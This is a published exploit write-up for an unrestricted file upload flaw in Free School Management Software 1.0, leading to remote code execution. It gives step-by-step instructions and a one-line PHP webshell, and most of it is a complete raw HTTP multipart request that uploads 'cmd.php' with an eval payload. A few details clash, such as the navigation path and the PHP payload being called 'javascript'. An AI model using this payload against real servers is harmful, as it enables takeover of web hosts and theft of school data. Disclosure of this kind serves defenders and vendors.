# Exploit Title: Free School Management Software 1.0 - Remote Code Execution (RCE) # Exploit Author: fuuzap1 # Date: 7-12-2021 # Category: Web application # Vendor Homepage: https://www.sourcecodester.com/php/15073/free-school-management-software.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/jovahsource/free_and_open_source.zip # Version: 1.0 # Tested on: windows # Vulnerable page: http://localhost/admin/examQuestion Technical description: A unrestricted file upload vulnerability exists in the Free school management software v1.0. An attacker can leverage this vulnerability in order to get a remote code execution on the affected web server. Once a php webshell containing "<?php system($_GET["cmd"]); ?>" gets uploaded it is getting save into /uploads/exam_question/ directory, and is accessible by all users. the attacker can gain remote code execution on the web server. Steps to exploit: 1) Navigate to http://localhost/admin/manage_profile 2) click "ADD NEW QUESTION PAPER" edit base infomation 3) uploading a php webshell containing "<?php system($_GET["cmd"]); ?>" in the Field "upload Drag and drop a file here or click" 3) Click "save" 4) open http://localhost/uploads/exam_question/cmd.php?cmd=phpinfo() then php code execution Proof of concept (Poc): The following payload will allow you to run the javascript - <?php system($_GET["cmd"]); ?> --- POST /admin/examQuestion/create HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------183813756938980137172117669544 Content-Length: 1331 Origin: http://localhost Connection: close Referer: http://localhost/admin/examQuestion Cookie: ci_session=793aq6og2h9mf5cl2q2b3p4ogpcslh2q Upgrade-Insecure-Requests: 1 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="name" test4 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="class_id" 2 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="subject_id" 5 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="timestamp" 2021-12-08 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="teacher_id" 1 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="file_type" txt -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="status" 1 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="description" 123123 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="_wysihtml5_mode" 1 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="file_name"; filename="cmd.php" Content-Type: application/octet-stream <?php eval($_GET["cmd"]); ?> -----------------------------183813756938980137172117669544-- ---